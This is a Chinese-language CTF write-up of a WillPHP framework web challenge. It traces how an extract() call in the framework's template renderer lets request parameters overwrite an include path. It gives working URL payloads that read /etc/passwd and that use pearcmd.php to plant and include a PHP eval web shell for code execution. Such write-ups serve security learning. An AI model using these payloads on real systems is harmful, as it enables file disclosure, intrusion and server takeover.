题目描述

image.png

解题过程

WillPHP PHP开发框架的Web服务,其中给出了控制器源码和框架下载等信息
image.png
信息收集过程中,在Gitte中找到一个使用该框架的未完善的web应用
image.png
下载到本地调试跟踪参数变量,根据给出的代码可知传入参数 name和value, 任意传参跟踪代码
image.png

  1. /index.php?name=a&value=b

跳过一些无用的方法,发现一处可以通过可控变量来包含文件的位置
位置: willphp/wiphp/Tple.php renderTo方法
image.png

  1. public static function renderTo($vfile, $_vars = []) {
  2. $m = strtolower(__MODULE__);
  3. $cfile = 'view-'.$m.'_'.basename($vfile).'.php';
  4. if (basename($vfile) == 'jump.html') {
  5. $cfile = 'view-jump.html.php';
  6. }
  7. $cfile = PATH_VIEWC.'/'.$cfile;
  8. if (APP_DEBUG || !file_exists($cfile) || filemtime($cfile) < filemtime($vfile)) {
  9. $strs = self::comp(file_get_contents($vfile), $_vars);
  10. file_put_contents($cfile, $strs);
  11. }
  12. extract($_vars);
  13. include $cfile;
  14. }

主要的可控位置为 extract($_vars) ,这里通过 extract函数将 $cfile 覆盖为其他文件,就可以文件包含,传入Payload

  1. /index.php?name=cfile&value=/etc/passwd

image.png
image.png

这里就成功找到了一处文件包含来进行更多攻击,但Flag文件名未知,由于CTF多数赛题为Docker搭建,可以通过P神之前但一篇文章来进行RCE
https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html
image.png
发送EXP

  1. /index.php?+config-create+/&name=cfile&value=/usr/local/lib/php/pearcmd.php&/%<?=eval($_POST[cmd])?>+/tmp/cmd.php

image.png
再通过文件包含 包含 /tmp/cmd.php 文件,获取权限

  1. /index.php?name=cfile&value=/tmp/cmd.php

image.png